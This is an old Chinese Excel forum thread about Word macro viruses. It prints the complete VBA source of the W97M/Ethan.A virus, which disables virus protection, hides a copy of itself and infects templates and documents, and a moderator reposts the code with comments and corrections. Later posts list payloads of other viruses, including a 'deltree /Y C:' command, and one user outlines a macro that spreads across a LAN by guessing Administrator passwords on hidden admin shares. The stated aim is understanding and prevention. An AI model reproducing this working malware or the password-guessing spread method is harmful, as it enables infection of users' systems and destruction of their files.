ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 效率神器,一键搞定繁琐工作
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
让更多数据处理,一键完成 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
查看: 9305|回复: 12

宏病毒示例1

[复制链接]

TA的精华主题

TA的得分主题

发表于 2005-4-8 02:50 | 显示全部楼层 |阅读模式
宏病毒示例

为了更好地理解宏病毒, 我们仔细分析一下宏病毒

W97M/Ethan.A。

下面是该病毒的代码。

Private Sub Document_Close()

On Error Resume Next

《中文Word2000 高级教程》

s = ActiveDocument.Saved

Application.EnableCancelKey = Not -1

With Options: .ConfirmConversions = 0: .VirusProtection

= 0: .SaveNormalPrompt = 0: End With

Randomize

If Dir("c:\ethan.___", 6) = "" Then

Open "c:\ethan.___" For Output As #1

For i = 1 To MacroContainer.VBProject.VBComponents.Item

(1).CodeModule.CountOfLines

a = MacroContainer.VBProject.VBComponents.Item

(1).CodeModule.Lines(i, 1)

Print #1, a

Next i

Close #1

SetAttr "c:\ethan.___", 6

End If

If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"

If NormalTemplate.VBProject.VBComponents.Item

《中文Word2000 高级教程》

( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub

Document_Close()" Then

Set t = NormalTemplate.VBProject.VBComponents.Item(1)

ElseIf ActiveDocument.VBProject.VBComponents.Item

( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub

Document_Close()" Then

Set t = ActiveDocument.VBProject.VBComponents.Item(1)

Else

t = ""

End If

If t <> "" Then

Open "c:\ethan.___" For Input As #1

If LOF(1) = 0 Then GoTo q

i = 1

Do While Not EOF(1)

Line Input #1, a

t.CodeModule.InsertLines i, a

i = i + 1

《中文Word2000 高级教程》

Loop

q:

Close #1

If Rnd < 0.3 Then With Dialogs

( wdDialogFileSummaryInfo ) : .Title = "Ethan

Frome": .Author = "EW/LN/CB": .Keywords =

"Ethan": .Execute: End With

If Left(ActiveDocument.Name, 8) <> "Document" Then

ActiveDocument.SaveAs

FileName:=ActiveDocument.FullName

End If

If ActiveDocument.Saved <> s Then ActiveDocument.Saved

= s

End Sub

W97M/Ethan.A 是一种寄生型宏病毒,由一个宏组成,能够感染

Word 系统中的文档和模板。在感染过程中,W97M/Ethan.A 使用一种

特殊的算法,从自己的源文件向宿主文件传送病毒代码,在源文件

中存放的是以VBA 代码形式存放的病毒程序。一旦感染成功,

《中文Word2000 高级教程》

W97M/Ethan.A 会删除自身的有关文件,隐藏踪迹,并将感染所有访

问过的Word 文件。

在被感染的Word 文件中,大概有三成几率的文件属性会被病毒

更改,其标题会被改为“Ethan Frome”,而作者会被改为“EW/LN/CB”。

如果发现上述特征,则说明此文档已被W97M/Ethan.A 宏病毒感染。

对已感染的文档进行操作,可能会出现以下问题:

(1)在存储文档时,无法以Word 文档格式存储,而只能存储为

Word 模板格式。

(2)在打开文档时,Word 系统会向用户询问文档的开启密码,

否则无法访问该文件。

(3)在清除了宏病毒之后,仍然看不到Word 系统中的某些命令

或选项,它们可能已被宏病毒删除。

[此贴子已经被作者于2005-4-8 8:54:07编辑过]

TA的精华主题

TA的得分主题

发表于 2005-4-8 06:02 | 显示全部楼层

谢谢楼主提供的代码。

我认真地看了一下,感觉您提供的代码,没有想象中的破坏力的;并且代码中有一些错误,我初步修正了一下。

当然,我对病毒不感兴趣,感兴趣的是代码。

'* +++++++++++++++++++++++++++++ '* Created By I Love You_Word!@ExcelHome 2005-4-8 6:00:16 '仅测试于System: Windows NT Word: 10.0 Language: 2052 '^The Code CopyIn [ThisDocument-ThisDocument]^' '* -----------------------------

Private Sub Document_Close() ' On Error Resume Next s = ActiveDocument.Saved '获得活动文档是否更改过 ' Application.EnableCancelKey = 0 '禁止CTRL+BREAK中断宏执行 ' With Options '对选项部分操作 ' .ConfirmConversions = 0 '禁用文件转换对话框 ' .VirusProtection = 0 ' .SaveNormalPrompt = 0 '自动保存模板 ' End With ' Randomize '初始化随机数生成器 If Dir("c:\ethan.___", 6) = "" Then '如果文件不存在 Open "c:\ethan.___" For Output As #1 '建立并输入一个可由其它应用程序访问的文件 '建立一个从第一行到当前运行宏的工程的"THISDOCUMENT"模块代码窗口中的代码总行数的一个循环 For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1) Print #1, a '写入指定的文件中 Next i Close #1 '关闭该文件 SetAttr "c:\ethan.___", 6 '设置文件属性(为隐藏的系统文件2+4) End If If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys" '如果有该文件则删除 '如果模板的THISDOCUMENT的第一个代码行不是"Private Sub Document_Close()"即没有此宏过程 If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then '定义一个模板的模块(THISDOCUMENT) Set t = NormalTemplate.VBProject.VBComponents.Item(1) '如果活动模板的THISDOCUMENT的没有"Private Sub Document_Close()"宏过程则 ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then '定义一个活动文档的模块 Set t = ActiveDocument.VBProject.VBComponents.Item(1) Else Set t = Nothing '否则t为""(说明已感染或者已有此"Private Sub Document_Close()"过程) End If '如果t不为"",则打开指定的文件 If Not t Is Nothing Then Open "c:\ethan.___" For Input As #1 If LOF(1) = 0 Then GoTo q '如果该文件(指以OPEN语句打开的"c:\ethan.___"为0字节) i = 1 '初始化i Do While Not EOF(1) '只要没有到达文件末 Line Input #1, a '从该文件中读入一行数据并赋值给a t.CodeModule.InsertLines i, a '指定模块中添加指定行(代码) i = i + 1 '累加 Loop q: Close #1 '关闭该文件 If Rnd < 0.3 Then '设置属性对话框 With Dialogs(wdDialogFileSummaryInfo) .Title = "Ethan Frome" '标题 .Author = "EW/LN/CB" '作者 .Keywords = "Ethan" '关键字 .Execute '确定 End With End If '如果文档名不是"Document"则(英文版默认未保存文档为"Document1"等) If Left(ActiveDocument.Name, 8) <> "Document" Then '就以此名保存 ' ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If '设置活动文档的保存更改属性 If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s End Sub '----------------------

TA的精华主题

TA的得分主题

 楼主| 发表于 2005-4-8 08:47 | 显示全部楼层

**************接1楼**********************

13.2 Word 宏病毒 本节介绍几种常见的宏病毒。 13.2.1 Concept 病毒(又称Prank) 当第一次发现Word 感染该病毒时,会出现一个对话框,对话框 中的文本只有一个“1”,按钮也只有一个“OK”键(在中文环境中 为“确定”键)。病毒加载之后,就会修改【文件】菜单的【保存】 命令所代表的宏,然后在每次保存文件的时候,就会将病毒保存到 文件中。 受此病毒感染后,所编辑的文档只能按模板格式保存。Concept 病毒不会造成文件数据丢失。其症状是Word 的Normal 模板中会出 现两个名字为AAAZAO 和AAAZFS 的宏命令,如图13-1 所示。另外还 有一个PayLoad 宏,该宏只包含一句话“这足以证明我的观点 (That’s enough to prove my point.)”,而不做其他事情。 虽然Concept 在这个宏里面没有包含任何内容,但是任何一个对 宏有一定了解的人都可以修改这个宏,做一些可怕的事情,例如删除某些文件,修改磁盘上的一些关键参数或生成另外的一个更可怕的病毒。因此,虽然可以认为Concept 是良性病毒,但是必须注意,它随时都可以变成恶性病毒(这也是其他病毒发展的必然过程)。虽然Concept 在这个宏里面没有包含任何内容,但是任何一个对 宏有一定了解的人都可以修改这个宏,做一些可怕的事情,例如删除某些文件,修改磁盘上的一些关键参数或生成另外的一个更可怕的病毒。因此,虽然可以认为Concept 是良性病毒,但是必须注意,它随时都可以变成恶性病毒(这也是其他病毒发展的必然过程)。

13.2.2 Nuclear 病毒 该病毒会对文档打印功能造成破坏,并会破坏MS-DOS 系统文件。 感染该病毒后,Word 的Normal 模板将出现以下宏命令:AutoExec、 AutoOpen、DropSuriv、FileExit、FilePrint、FilePrintDefault、 FileSaveAs、InsertPayLoad、PayLoad,如图13-2 所示。 图13-2 感染Nuclear 宏病毒后,【宏】对话框的特征 Nuclear 宏病毒可能造成以下危害: (1)如果在任何时间的55~57 秒之间操作文件,病毒会在打印 《中文Word2000 高级教程》 的文档上加入“STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC (停止法国在太平洋的所有核试验)”这句话。 (2)如果在下午5 点~6 点(系统时间)打开感染了Nuclear 病 毒的文件,这台计算机将被PH33R 病毒感染,PH33R 病毒会产生一个 DOS 驻留程序。 (3)每年4 月5 日,Nuclear 病毒会将计算机中的IO.SYS 和 MSDOS.SYS 两个文件的长度置为零,并删除COMMOND.COM 文件,使 DOS 无法启动。 13.2.3 DMV 病毒 该病毒与Concept 病毒类似,使Word 中的【另存为】命令无效。 13.2.4 宏病毒的一些变种 从第一个宏病毒Concept 诞生到1998 年底,Word 宏病毒已经出 现了几千个变种,其中不少是恶性病毒,但是万变不离其宗,所有 的病毒都需要在宏里面增加一个名字为“AutoLoad”的宏,下面介 绍一些另外常见的宏病毒。 1. Alliance 感染.DOC 和.DOT 文件,仅在每月的2、7、11 和12 日感染和复 《中文Word2000 高级教程》 制,并且屏幕显示一个信息窗,提示用户已感染病毒。 2. Boom 感染德文板的MS Word 软件的.DOC 和NORMAL.DOT 文件,每年的 3 月13 日13 时13 分13 秒发作,发作时胡乱更改菜单,显示政治笑 话。 3. Clock:DE 感染德文板的MS Word 软件,在每月的1、2、13、21 和27 日, 每个整点过后的5 分钟发作,发作时将文件打开和存取功能交替颠 倒,并产生混乱。 4. Concept.F 基于Concept 病毒原型的宏病毒,病毒经过自身加密,在每月的 16 日发作,发作时分别用“,”、“e”和“not”替换文本中所有 的“.”、“a”和“and”,并且屏幕显示一个信息窗,提示用户已 感染病毒。 5. Concept.L 感染.DOC 和.DOT 文件,每月的17 日发作,发作时将删除“C:” 根目录下的有关文件,并且屏幕显示一个信息窗,提示用户已感染 病毒。 《中文Word2000 高级教程》 6. Helper 感染.DOC 和.DOT 文件,在每月的10 日发作,发作时所有经过打 开和创建操作后关闭的文件将被设置一个加密口令。 7. Kompu 该病毒是一个使用了加密、隐性技术的宏病毒。感染.DOC 和.DOT 文件,在每月的6 日和8 日发作。发作时在屏幕上显示一个信息窗, 提示用户输入口令,用户必须输入“KOMM”以关闭此窗口,否则, 病毒将通过打印机打印出混乱的信息。 8. MDMA.A 每月的1 日发作,可感染多种操作系统(Windows、Windows 95、 Macintosh 和Windows NT),在Windows 3.x 下发作时,会在 AUTOEXEC.BAT 文件中加入“deltree /Y C:”的恶意指令,后果严重。 9. MDMA.C 上述病毒的一个变种,每月的20 日后的任何一天都可能发作, 可感染Windows、Windows 95 和Windows NT,设置密码口令,删除 C:\Windows\system\*.CPL 文件。 10. Nuclear.B 有三种可能的发作方式: 《中文Word2000 高级教程》 (1)4 月5 日,删除Command.com 文件。 (2)17~18 日使用,释放一个DOS 的可执行文件病毒PH33R.1332。 (3)在某时某分的54~59 秒间打印文件时,将会加入下面一行 文字:“STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC(停 止法国在太平洋的所有核试验)”。 11. Phardera 发作时屏幕显示一个信息窗,干扰用户正常工作,同时从【工期】 菜单中删除【宏】和【自定义】命令,阻碍用户手工杀毒。 12. Saver:DE 德文版宏病毒,4 月21 日发作。 13. Taiwan.Theatre 双字节宏病毒,每月的1 日发作,破坏系统硬盘数据。 14. TW-No.1(台湾1 号) 每月的13 日发作,发作时在屏幕上显示一个窗口,要求用户做4 位数连乘,若做错,将连续打开窗口,让用户继续做题,由于系统 资源不断消耗,系统运行速度将越来越慢

[此贴子已经被作者于2005-4-8 8:56:14编辑过]

TA的精华主题

TA的得分主题

 楼主| 发表于 2005-4-8 08:53 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
谢谢,版主的注释,我对宏病毒也不感兴趣,只是让大家知道原理,对于我这样的初学者,很需要象版主这样的帮助!

TA的精华主题

TA的得分主题

发表于 2005-4-8 23:47 | 显示全部楼层

感染方法比较原始。

前段时间我写了一个在局域网中“猜口令并复制自己”的宏,可以实现不“感染”,但能“传播”!

TA的精华主题

TA的得分主题

发表于 2005-4-8 23:49 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
以下是引用七叶一枝梅在2005-4-8 23:47:00的发言:

感染方法比较原始。

前段时间我写了一个在局域网中“猜口令并复制自己”的宏,可以实现不“感染”,但能“传播”!

希望老兄也能介绍一下,也让我们对现在流行的有一个更深的了解.防范于末然.

TA的精华主题

TA的得分主题

发表于 2005-12-12 13:21 | 显示全部楼层

回楼上:

这个宏的原理并不复杂——

1、Win2K以上的系统,都有隐藏的共享,通过“net share”命令我们就会看到这些共享:ADMIN$,IPC$,C$,D$,E$......这些默认的共享可以通过右键菜单的“共享”命令来停止,但系统重新启动后,会自动恢复这些共享。

2、由于有这些默认共享,如果局域网内有人以该机Administrators组成员的身份登录,则可以具有这些文件夹的完全的权限!

3、很多局域网用户的管理员名没有修改(即,保持为默认的Administrator),还有一些人对用户名进行了修改,但和很多人改成了主机名是什么则管理员名就是什么

4、方法:A、通过Network对像取得主机名,用主机名作为管理员名,然后尝试常见的密码组合;B、直接用Administrator为管理员名,然后尝试密码组合。

5、如果登录成功,则利用Copy命令,复制自己到共享文件夹中

6、最后,关于密码组合,可以用随机数字(用Randomize、Rnd)或字母(用CHR)进行组合。

正因为只能将自己拷贝到共享文件夹中,所以我说“可以实现传播”,毕竟没有实现对目标机Normal工程的改写,所以不能称为“感染”(其实能够改写,因为你的权限已经是admin了,具体的方法就不再讨论了。)。。

TA的精华主题

TA的得分主题

发表于 2005-12-12 13:50 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助

七兄利害。

但对于外网好像不像七兄说的那么简单。

我曾经以前做过类似的模拟试验,大都是失败告终。我通过scan来扫描一个网段,看端口,看用户,猜密码(都是软件在做)。

但对于2000及以上的系统却不行。(可能还有不少技术性东东,我不知道。)

TA的精华主题

TA的得分主题

发表于 2005-12-12 14:01 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助

孔兄:

只能用在局域网内,对外网没有作用.我在内网用Scan3扫过,很不幸——40多台机子,80%以上的可以被扫出用户与密码!(使用Scan自带的密码字典!如果考虑到办公环境,自定义字典的话,可能还不止这些机子被扫出来。)。

如果2K打了SP4或XP打了SP2则扫描基本不会有结果。。

TA的精华主题

TA的得分主题

发表于 2005-12-12 14:08 | 显示全部楼层

七兄说的是。

[此贴子已经被作者于2005-12-12 14:07:50编辑过]
您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2025-1-16 11:00 , Processed in 0.027499 second(s), 7 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表